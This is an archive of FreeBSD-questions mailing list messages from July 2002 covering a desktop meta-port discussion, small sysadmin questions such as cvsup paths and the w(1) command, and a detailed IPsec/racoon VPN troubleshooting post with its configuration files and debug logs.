> One of the instant-workstation ports I have not tried is mutt,
> though I've read much praise for it and no negatives that I can
> recall.

It's not perfect.  It does strange things on the screen.

> I wonder, though, whether a gui mail application might be a good
> choice for this "target market," in addition to, instead of, or as
> another choice besides mutt.  Sylpheed happens to be the one I
> prefer, and it seems to be well liked by many other users.  Speaking
> as someone who didn't know a thing about Unix a couple of years ago
> (and hasn't improved on the situation all that much since:), it was
> very easy to learn.

That's a good point.  I've added sylpheed to the list.

> Another place where options might be appreciated is browsers -
> perhaps Galeon, Opera, Mozilla?  And Lynx I think is excellent for
> getting around on the Net at times when one doesn't want to or can't
> be in X.

See http://ezine.daemonnews.org/200208/ports.html when it appears in a
couple of days' time.  Basically, I can't find one good browser, but
with a combination, I can do most things.

> Perhaps that's taken care of by w3m (I don't remember ATM whether
> that's part of the default emacs install)?  That brings me to my
> last and likely most controversial thought.  Emacs does everything
> but bake blueberry muffins, but it might be more intimidating (or
> puzzling - took me awhile just to understand what "M-x" meant) than
> useful to someone fairly new to Unix.  It does take a while to build
> and install (and download, for those of us on dial-ups).  And the
> configuration options! - not exactly 'instant.'  If it's part of the
> install, it seems to me users will try it, and may wind up thinking
> "Jeez, this stuff is hard" as a first impression of FreeBSD.

Well, Emacs is still basically an editor.  For all the complexity,
it's the only one I can put complete beginners in front of and have
them be able to use it.  But it's not a browser.  The
instant-workstation had Netscape, and it has Konqueror from kde, but
I've now added Mozilla and Opera.

Greg
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From owner-freebsd-questions  Tue Jul 30 20:37: 7 2002
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Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
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On Monday, 29 July 2002 at 12:20:59 +0200, Roman Neuhauser wrote:
> On Sun, 28 Jul 2002 12:00:16 +0930, Greg 'groggy' Lehey wrote:
>
>> The real problem I have is knowing which of the over 7,000 ports you
>> want to install to get "basic" desktop functionality.
>
>     yes. and this is the problem with stuff like your
>     instant-workstation port. you can't please everyone, and i dare
>     to say that any such thing will only please a tiny minority of
>     people.

This is like saying that people won't use Microsoft because it pleases
only a tiny minority of people.

>  probably the reason you haven't got much feedback on the port.

No, the reason I haven't had much feedback is almost certainly because
nobody knows about it.  That's the problem I mention above.

>> 2.  "instant" is a misnomer, at least if you build from source.  I'm
>>     building on a Dell Inspiron 7500 with a 600 MHz processor, and it
>>     takes over 12 hours.
>
>     as suggested by someone else before, it could use packages where
>     possible,

Yes, of course it does, but you still need to have the ports.  The
instant-workstation port itself really is pretty instantaneous..

> but that would make it fall out of the ports system pretty much.

Why?

>> 3.  Once it's built, it works "out of the box".  I've installed the
>>     XFree86 4 port, and installation is really nothing more than this:
>>
>>     # X -configure
>>     # mv /root/XF86Config.new /etc
>>     # echo exec kdestart > ~me/.xinitrc
>>
>>     You can then run startx or xdm and end up in a relatively complete
>>     kde environment.
>
>     this still makes it lag behind most of linux distros in terms of
>     "ease of use". the (new) user still has to know to perform these steps.
>     note that i don't care. i don't use linux for a reason.

A valid point.  I could add that to the port.

>> My questions to you: is there anything missing?
>
>     inevitably, yes. plus there are things *i* don't use on that list.
>     shell, for example. i don't use bash. if you want to make the port
>     attractive for me, you have to let me choose my favorite shell.

Nobody's stopping you.  You can override anything in the port.  That's
what the Ports Collection is for.  But this port is addressing a
different kind of user.

>     if, however, i have to select a shell, i can
>> (cd /usr/ports/shells/chooseone && make install clean)
>     just as well. same with the other software.

Of course.  But that's not the point.

>> Has anybody tried instant-workstation?  I'd be interested in
>> suggestions about how to improve it.
>
>     you could perhaps abstract the installed software away into software
>     categories similar to the /usr/ports directory:
>
>     which shell do you want to use? (ash bash tcsh ksh zsh):
>     which browser do you want to use? (...):

That assumes you understand the questions and can decide which is the
one for you.

>     a big boon would be a possibility to configure the ports from
>     here.  that would probably require a change to the ports system:
>     right now you can only tell what knobs a port features by
>     reading the Makefile.

That's a separate, but valid, problem.

Greg
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Subject: Good script to get the IP address from u logon on freebsd
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------=_NextPart_000_038A_01C23887.68B5CAC0
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Hi,


       I have a freebsd box, Can someone execute a scripts to print the =
IPAddress where she is from when he logon this machine?



Regards,
Fred Zhang

   =20


          =20

------=_NextPart_000_038A_01C23887.68B5CAC0
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have=20
a&nbsp;freebsd box,&nbsp;Can&nbsp;someone execute a scripts to print the =

IPAddress where she is from when he logon this machine?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fred Zhang</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></DIV></BODY></HTML>

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Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
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+++ Greg 'groggy' Lehey [31/07/02 13:06 +0930]:
> On Monday, 29 July 2002 at 12:20:59 +0200, Roman Neuhauser wrote:
> > On Sun, 28 Jul 2002 12:00:16 +0930, Greg 'groggy' Lehey wrote:
> >
> >> The real problem I have is knowing which of the over 7,000 ports you
> >> want to install to get "basic" desktop functionality.
> >
> >     yes. and this is the problem with stuff like your
> >     instant-workstation port. you can't please everyone, and i dare
> >     to say that any such thing will only please a tiny minority of
> >     people.
> 
> This is like saying that people won't use Microsoft because it pleases
> only a tiny minority of people.

On the flip side, the instant-workstation port shouldn't try to please everyone -
that's what 'cd /usr/ports; make install' is for :-) . This would be way too big.

> 
> >  probably the reason you haven't got much feedback on the port.
> 
> No, the reason I haven't had much feedback is almost certainly because
> nobody knows about it.  That's the problem I mention above.
> 
> >> 2.  "instant" is a misnomer, at least if you build from source.  I'm
> >>     building on a Dell Inspiron 7500 with a 600 MHz processor, and it
> >>     takes over 12 hours.
> >
> >     as suggested by someone else before, it could use packages where
> >     possible,
> 
> Yes, of course it does, but you still need to have the ports.  The
> instant-workstation port itself really is pretty instantaneous..
> 
> > but that would make it fall out of the ports system pretty much.
> 
> Why?

Doesn't make -DUSE_PACKAGES=1 install work? I could have sworn it did.
Maybe a note pointing this out when you type make install.

> 
> >> 3.  Once it's built, it works "out of the box".  I've installed the
> >>     XFree86 4 port, and installation is really nothing more than this:
> >>
> >>     # X -configure
> >>     # mv /root/XF86Config.new /etc
> >>     # echo exec kdestart > ~me/.xinitrc
> >>
> >>     You can then run startx or xdm and end up in a relatively complete
> >>     kde environment.
> >
> >     this still makes it lag behind most of linux distros in terms of
> >     "ease of use". the (new) user still has to know to perform these steps.
> >     note that i don't care. i don't use linux for a reason.
> 
> A valid point.  I could add that to the port.
> 
> >> My questions to you: is there anything missing?
> >
> >     inevitably, yes. plus there are things *i* don't use on that list.
> >     shell, for example. i don't use bash. if you want to make the port
> >     attractive for me, you have to let me choose my favorite shell.
> 
> Nobody's stopping you.  You can override anything in the port.  That's
> what the Ports Collection is for.  But this port is addressing a
> different kind of user.

I agree with this. There is no, one-size-fits-all for this.

> >     if, however, i have to select a shell, i can
> >> (cd /usr/ports/shells/chooseone && make install clean)
> >     just as well. same with the other software.
> 
> Of course.  But that's not the point.
> 
> >> Has anybody tried instant-workstation?  I'd be interested in
> >> suggestions about how to improve it.
> >
> >     you could perhaps abstract the installed software away into software
> >     categories similar to the /usr/ports directory:
> >
> >     which shell do you want to use? (ash bash tcsh ksh zsh):
> >     which browser do you want to use? (...):
> 
> That assumes you understand the questions and can decide which is the
> one for you.
> 
> >     a big boon would be a possibility to configure the ports from
> >     here.  that would probably require a change to the ports system:
> >     right now you can only tell what knobs a port features by
> >     reading the Makefile.
> 
> That's a separate, but valid, problem.

An alternative to this would be to use dialog, like the mod_php4 port does, and
configure accordingly. I might even take a look at this.....

> 
> Greg
> --
> Finger grog@lemis.com for PGP public key
> See complete headers for address and phone numbers
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

Ken

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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
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Subject: Re: Good script to get the IP address from u logon on freebsd
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[Format recovered--see http://www.lemis.com/email/email-format.html]

Message on a single line.

On Wednesday, 31 July 2002 at 11:42:54 -0700, fred@timogen.com wrote:
> Hi,
>
> I have a freebsd box, Can someone execute a scripts to print the
> IPAddress where she is from when he logon this machine?

Try w(1):

  === grog@freefall (/dev/ttypi) ~ 1 -> w
   9:09PM  up 34 days, 18:13, 25 users, load averages: 0.04, 0.31, 0.34
  USER             TTY      FROM              LOGIN@  IDLE WHAT
  dd               p1       spike-gw.trit.or 21Jul02 2days -tcsh (tcsh)
  jake             p3       k6.locore.ca      3:39PM  4:59 -bash (bash)
  fanf             p5       cyan.csi.cam.ac. Fri05AM  8:27 bash
  grog             pi       wantadilla.lemis  9:09PM     - w
  mckusick         pj       chez.mckusick.co 16Jul02 13days -csh (csh)

Is that what you mean?

Greg
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On Tue, 30 Jul 2002, Ken Wills wrote:

[heavily trimmed]

> On the flip side, the instant-workstation port shouldn't try to
> please everyone - that's what 'cd /usr/ports; make install' is for
> :-) . This would be way too big.

Actually, what we need are three "desktop meta-ports" like this:

Web User
  Pretty X environment, browsers (flash, etc), email.  All in X.

Power User
  All of the above plus apps (office stuff: Open/Star Office, other user
  apps).

Developer
  All of the above, plus editors, compilers, network tools and
  monitors, CLI email and news readers also.

As Greg mentioned, "instant" is maybe not the right word to use. 8-)

Any more than three of these would probably be too confusing.  Another
option would be for a port to have a user interface like the one in
Ghostscript: let the user choose whether they want pine or mutt, tin or
slrn (or none).

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Tue Jul 30 21:54:59 2002
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From: Ken Wills <kenwills@tds.net>
To: randy <randy@turbowarp.net>
Cc: questions@FreeBSD.ORG
Subject: Re: cvsup command not found
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+++ randy [30/06/02 08:25 -0500]:
> Hello,
> 
> I need some help.  I have read nearly every google, freebsd diary and even
> the handbook ... but i can't make it work.
> 
> I did a make and make install from ports for cvsup-without-gui.
> 
> I followed the instructions on http://www.freebsddiary.org/current.php;
> yet when I try to run cvsup, I get a command not found.
> 
> Why?  and what do I do to fix it?

try /usr/local/bin/cvsup

Probably /usr/local/bin isn't in your path. Look in your .cshrc or .profile to set your
path correctly.

Otherwise, cd /usr/ports/???/cvsup-without-gui/ or whatever and see what make install says
at the end of the install (look for errors). Failing all of those, pkg_add -r cvsup-without-gui
will download and install a pre-built package from one of the distribution sites.

Ken

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From owner-freebsd-questions  Tue Jul 30 21:56:30 2002
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Date: Tue, 30 Jul 2002 23:59:40 -0500
From: Ken Wills <kenwills@tds.net>
To: Ivan Carey <icarey@bigpond.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: how to use fixit
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+++ Ivan Carey [30/06/02 15:48 +1000]:
> 
>    Can you please tell me where I may be able to find how to use the
>    fixit utility?
> 
> 
> 
>    I have had a need to use the fixit utility to fix a problem with my
>    system after upgrading from 4.3 to 4.6.
> 
> 
> 
>    I made a fixit floopy from the fixit.flp image
> 

Boot the two other floppies as if you were installing, then choose 'fixit' from the
sysinstall menu.

What is the problem you're trying to fix?

Ken

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From owner-freebsd-questions  Tue Jul 30 22: 9:30 2002
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On Tue, 30 Jul 2002, Warren Block wrote:

> On Tue, 30 Jul 2002, Dan Nelson wrote:
> 
> > In the last episode (Jul 30), Warren Block said:
> > > Is there an easier way to do case-insensitive searches with less?
> > 
> > You must have glazed over this paragraph :)
> > 
> >        -i or --ignore-case
> >               Causes  searches to ignore case; that is, uppercase
> 
> Huh--it doesn't list that in the summary at the top of the page, and I
> could swear on the 4.4 system I was checking today, it didn't list it in
> the body.  I'll check that again tomorrow.
> 
You can just type -i at the : prompt, and it will toggle back and forth 
between case-sensitive and case-insensitive.

	Annelise

-- 
Annelise Anderson
Author of: 		 FreeBSD: An Open-Source Operating System for Your PC
Available from:	 BSDmall.com and amazon.com
Book Website:    http://www.bittreepress.com/FreeBSD/introbook/	




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From owner-freebsd-questions  Tue Jul 30 22:13:34 2002
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Date: Wed, 31 Jul 2002 00:13:17 -0500
From: "Matthew Grooms" <mgrooms@seton.org>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ...
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>>> crist.clark@attbi.com 07/30/02 02:51 AM >>>
>[Please, -questions or -security, but not >both.]

Sorry about that, I wasn't sure where to send it to. I will be more
selective in the future.

>I've never figured out why people use gif(4) >interfaces when ESP does
>the tunneling for you.

Right, I just assumed the gif tunnel device was neccesary for esp/tunnel
mode. If you look at all the how-to's out there, it is pretty much a
given in all the examples. I stopped using it after I realized
checkpoint didn't even know what ipencap was.

>The output from running racoon(8) with the >'-d' option would be much
>more useful.

It turned out to be a bad entry in a route table on the private
interface on the vpn1 box. Checkpoints log viewer had a pretty creative
interpretation of what traffic was being encrypted/passed and what was
wasnt. I am actually posting this msg via the ipsec tunnel from my
house. Woohoo! Thanks for all the suggestions everyone. I am happy to
say that freebsd has once again met all my expectations and more!

-Matthew

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From owner-freebsd-questions  Tue Jul 30 22:45:58 2002
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Hello!
I have a problem with configuring ppp connection with my Siemens ME45
cellular phone via GPRS. I think that's not only my problem  therefore
i will  thankful if you'll clear this problem for me and other
suffering people.  I hope you'll do that in a short time.
 Thank you very much beforehand!!!


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From owner-freebsd-questions  Tue Jul 30 23:27:57 2002
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Reply-To: "Cezary Nolewajka" <cno@m2mob.com>
From: "Cezary Nolewajka" <cno@m2mob.com>
To: <freebsd-questions@freebsd.org>
Subject: FreeBSD and CISCO Pix IPSec VPN - problem (long)
Date: Wed, 31 Jul 2002 08:33:20 +0200
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Hello everybody,

I have a general problem setting up a IPSec VPN connection between freebsd
and a cisco router/pix.

I got to the stage where both machines can see each other, start the
negotiation phase 1 that succeeds and fail at the stage 2. The racoon -F
info says that get_ph2approvalx(): not matched and therefore no policy is
found.

It seems that I have a problem with my or Pixes configuration. I browsed all
the net
archives and pages I could have found on the VPN/IPSec freebsd installation
and configuration and failed to find a solution.

If there is anything that you could suggest or even solved such a problem, I
would be grateful for any kind of help or support.

Below I attached some of the configuration and debugging information
concerning the IPSec setup.

Regards,
Cezary Nolewajka
mailto:czarek@homemail.com

IFCONFIG:

rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255
 inet6 fe80::2c0:dfff:fe13:c4b2%rl0 prefixlen 64 scopeid 0x1
 ether 00:c0:df:13:c4:b2
 media: Ethernet autoselect (100baseTX)
 status: active
rl1: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
 inet xxx.xxx.xxx.70 netmask 0xffffff00 broadcast xxx.xxx.xxx.255
 inet6 fe80::220:edff:fe32:2c79%rl1 prefixlen 64 scopeid 0x2
 ether 00:20:ed:32:2c:79
 media: Ethernet autoselect (100baseTX <full-duplex>)
 status: active
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
 inet6 ::1 prefixlen 128
 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4
 inet 127.0.0.1 netmask 0xff000000
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
faith0: flags=8002<BROADCAST,MULTICAST> mtu 1500
gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
 tunnel inet xxx.xxx.xxx.70 --> yyy.yyy.yyy.62
 inet6 fe80::2c0:dfff:fe13:c4b2%gif0 prefixlen 64 scopeid 0x8
 inet 10.0.0.1 --> 192.168.5.55 netmask 0xffffff00

-------------------------------------------------------------------

SETKEY -PD

192.168.5.55[any] 10.0.0.1[any] any
 in ipsec
 esp/tunnel/yyy.yyy.yyy.62-xxx.xxx.xxx.70/require
 spid=4 seq=1 pid=244
 refcnt=1
10.0.0.1[any] 192.168.5.55[any] any
 out ipsec
 esp/tunnel/xxx.xxx.xxx.70-yyy.yyy.yyy.62/require
 spid=3 seq=0 pid=244
 refcnt=1

--------------------------------------------------------------------

GIFCONFIG:

gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
 inet6 fe80::2c0:dfff:fe13:c4b2%gif0  prefixlen 64
 inet 10.0.0.1 --> 192.168.5.55 netmask 0xffffff00
 physical address inet xxx.xxx.xxx.70 --> yyy.yyy.yyy.62

--------------------------------------------------------------------

RACOON.CONF:

# $KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp $

# "path" must be placed before it should be used.
# You can overwrite which you defined, but it should not use due to
confusing.
path include "/usr/local/etc/racoon" ;
#include "remote.conf" ;

# search this file for pre_shared_key with various ID key.
path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;

# racoon will look for certificate file in the directory,
# if the certificate/certificate request payload is received.
path certificate "/usr/local/etc/cert" ;

# "log" specifies logging level.  It is followed by either "notify", "debug"
# or "debug2".
#log debug;

# "padding" defines some parameter of padding.  You should not touch these.
padding
{
 maximum_length 20; # maximum padding length.
 randomize off;  # enable randomize length.
 strict_check off; # enable strict check.
 exclusive_tail off; # extract last one octet.
}

# if no listen directive is specified, racoon will listen to all
# available interface addresses.
listen
{
 isakmp xxx.xxx.xxx.70 [500];
 #isakmp ::1 [7000];
 #isakmp 202.249.11.124 [500];
 #admin [7002];  # administrative's port by kmpstat.
 #strict_address;  # required all addresses must be bound.
}

# Specification of default various timer.
timer
{
 # These value can be changed per remote node.
 counter 5;  # maximum trying count to send.
 interval 20 sec; # maximum interval to resend.
 persend 1;  # the number of packets per a send.

 # timer for waiting to complete each phase.
 phase1 30 sec;
 phase2 15 sec;
}

remote yyy.yyy.yyy.62 [500]
{
 #exchange_mode aggressive,main;
 exchange_mode main,aggressive;
 doi ipsec_doi;
 situation identity_only;

 my_identifier address 10.0.0.1;
 peers_identifier address 192.168.5.55;

 nonce_size 16;
  lifetime time 1 min; # sec,min,hour
 #lifetime byte 5000 kb; # B,KB,GB
 initial_contact on;
 support_mip6 on;
 proposal_check obey; # obey, strict or claim

 proposal {
  lifetime time 3600 sec;
  encryption_algorithm des;
  hash_algorithm md5;
  authentication_method pre_shared_key ;
  dh_group 1;
 }
}

sainfo address xxx.xxx.xxx.70 any address yyy.yyy.yyy.62 any
{
 pfs_group 1;
 lifetime time 3600 sec;
 #lifetime byte 50 MB;
 encryption_algorithm des;
 authentication_algorithm hmac_md5;
 #authentication_algorithm non_auth;
 compression_algorithm deflate;
}

remote anonymous
{
 #exchange_mode main,aggressive;
 exchange_mode aggressive,main;
 doi ipsec_doi;
 situation identity_only;

 #my_identifier address;
 my_identifier user_fqdn "sakane@kame.net";
 peers_identifier user_fqdn "sakane@kame.net";
 #certificate_type x509 "mycert" "mypriv";

 nonce_size 16;
 lifetime time 1 min; # sec,min,hour
 initial_contact on;
 support_mip6 on;
 proposal_check obey; # obey, strict or claim

 proposal {
  encryption_algorithm des;
  hash_algorithm md5;
  authentication_method pre_shared_key ;
  dh_group 1;
 }
}

remote ::1 [8000]
{
 #exchange_mode main,aggressive;
 exchange_mode aggressive,main;
 doi ipsec_doi;
 situation identity_only;

 my_identifier user_fqdn "sakane@kame.net";
 peers_identifier user_fqdn "sakane@kame.net";
 #certificate_type x509 "mycert" "mypriv";

 nonce_size 16;
 lifetime time 1 min; # sec,min,hour

 proposal {
  encryption_algorithm 3des;
  hash_algorithm sha1;
  authentication_method pre_shared_key ;
  dh_group 2 ;
 }
}

sainfo anonymous
{
 pfs_group 1;
 lifetime time 30 sec;
 encryption_algorithm des ;
 authentication_algorithm hmac_md5;
 compression_algorithm deflate;
}

sainfo address 203.178.141.209 any address 203.178.141.218 any
{
 pfs_group 1;
 lifetime time 30 sec;
 encryption_algorithm des ;
 authentication_algorithm hmac_md5;
 compression_algorithm deflate ;
}

sainfo address ::1 icmp6 address ::1 icmp6
{
 pfs_group 1;
 lifetime time 60 sec;
 encryption_algorithm 3des, cast128, blowfish 448, des ;
 authentication_algorithm hmac_sha1, hmac_md5 ;
 compression_algorithm deflate ;
}

--------------------------------------------------------------------------

NETSTAT -nr

Routing tables

Internet:
Destination        Gateway            Flags    Refs      Use  Netif Expire
default            xxx.xxx.xxx.254     UGSc        3   179667    rl1
10/24              link#1             UC          2        0    rl0
10.0.0.100         00:c0:df:13:25:3b  UHLW        0     8042    rl0   1187
10.0.0.101         00:c0:df:13:25:39  UHLW        4    39888    rl0    898
127.0.0.1          127.0.0.1          UH          0        0    lo0
192.168.5.55       10.0.0.1           UH          0      392   gif0
212.244.99         link#2             UC          1        0    rl1
xxx.xxx.xxx.254     00:50:73:09:f0:81  UHLW        2        0    rl1   1194

Internet6:
Destination                       Gateway                       Flags
Netif Expire
::1                               ::1                           UH
lo0
fe80::%rl0/64                     link#1                        UC
rl0
fe80::2c0:dfff:fe13:c4b2%rl0      00:c0:df:13:c4:b2             UHL
lo0
fe80::%rl1/64                     link#2                        UC
rl1
fe80::220:edff:fe32:2c79%rl1      00:20:ed:32:2c:79             UHL
lo0
fe80::%lo0/64                     fe80::1%lo0                   Uc
lo0
fe80::1%lo0                       link#4                        UHL
lo0
fe80::%gif0/64                    link#8                        UC
gif0
fe80::2c0:dfff:fe13:c4b2%gif0     link#8                        UHL
lo0
ff01::/32                         ::1                           U
lo0
ff02::%rl0/32                     link#1                        UC
rl0
ff02::%rl1/32                     link#2                        UC
rl1
ff02::%lo0/32                     ::1                           UC
lo0
ff02::%gif0/32                    link#8                        UC
gif0

--------------------------------------------------------------------------

RACOON -F:

Foreground mode.
2002-07-30 09:04:08: INFO: main.c:168:main(): @(#)package version
freebsd-20020507a
2002-07-30 09:04:08: INFO: main.c:170:main(): @(#)internal version 20001216
sakane@kame.net
2002-07-30 09:04:08: INFO: main.c:171:main(): @(#)This product linked
OpenSSL 0.9.6a 5 Apr 2001 (http://www.openssl.org/)
2002-07-30 09:04:08: INFO: isakmp.c:1357:isakmp_open(): xxx.xxx.xxx.70[500]
used as isakmp port (fd=6)
2002-07-30 09:04:15: INFO: isakmp.c:891:isakmp_ph1begin_r(): respond new
phase 1 negotiation: xxx.xxx.xxx.70[500]<=>yyy.yyy.yyy.62[500]
2002-07-30 09:04:15: INFO: isakmp.c:896:isakmp_ph1begin_r(): begin Identity
Protection mode.
2002-07-30 09:04:15: WARNING: ipsec_doi.c:3059:ipsecdoi_checkid1(): ID value
mismatched.
2002-07-30 09:04:15: INFO: isakmp.c:2409:log_ph1established(): ISAKMP-SA
established xxx.xxx.xxx.70[500]-yyy.yyy.yyy.62[500]
spi:ac807c45add71aa6:fbc011c457a61849
2002-07-30 09:04:15: INFO: isakmp.c:1046:isakmp_ph2begin_r(): respond new
phase 2 negotiation: xxx.xxx.xxx.70[0]<=>yyy.yyy.yyy.62[0]
2002-07-30 09:04:15: ERROR: ipsec_doi.c:1001:get_ph2approvalx(): not matched
2002-07-30 09:04:15: ERROR: ipsec_doi.c:966:get_ph2approval(): no suitable
policy found.
2002-07-30 09:04:15: ERROR: isakmp.c:1060:isakmp_ph2begin_r(): failed to
pre-process packet.
2002-07-30 09:04:18: INFO: session.c:281:check_sigreq(): caught signal 2
2002-07-30 09:04:19: INFO: session.c:180:close_session(): racoon shutdown

-------------------------------------------------------------------

RACOON -Fdd:

Foreground mode.
2002-07-30 09:07:43: INFO: main.c:168:main(): @(#)package version
freebsd-20020507a
2002-07-30 09:07:43: INFO: main.c:170:main(): @(#)internal version 20001216
sakane@kame.net
2002-07-30 09:07:43: INFO: main.c:171:main(): @(#)This product linked
OpenSSL 0.9.6a 5 Apr 2001 (http://www.openssl.org/)
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for AH
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for ESP
2002-07-30 09:07:43: DEBUG: pfkey.c:368:pfkey_init(): call
pfkey_send_register for IPCOMP
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:111:yylex(): begin <5>path
2002-07-30 09:07:43: DEBUG2: cftoken.l:112:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:120:yylex(): begin <3>;
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:111:yylex(): begin <5>path
2002-07-30 09:07:43: DEBUG2: cftoken.l:114:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:120:yylex(): begin <3>;
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:111:yylex(): begin <5>path
2002-07-30 09:07:43: DEBUG2: cftoken.l:116:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:382:yylex(): <5>
2002-07-30 09:07:43: DEBUG2: cftoken.l:120:yylex(): begin <3>;
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:143:yylex(): begin <11>padding
2002-07-30 09:07:43: DEBUG2: cftoken.l:147:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:145:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:248:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:148:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:248:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:149:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:248:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <11>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:153:yylex(): begin <13>listen
2002-07-30 09:07:43: DEBUG2: cftoken.l:155:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:397:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:261:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <13>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <3>
2002-07-30 09:07:43: DEBUG2: cftoken.l:161:yylex(): begin <15>timer
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:163:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:164:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:341:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:165:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:352:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:421:yylex(): <15>
2002-07-30 09:07:43: DEBUG2: cftoken.l:166:yylex(): <15>
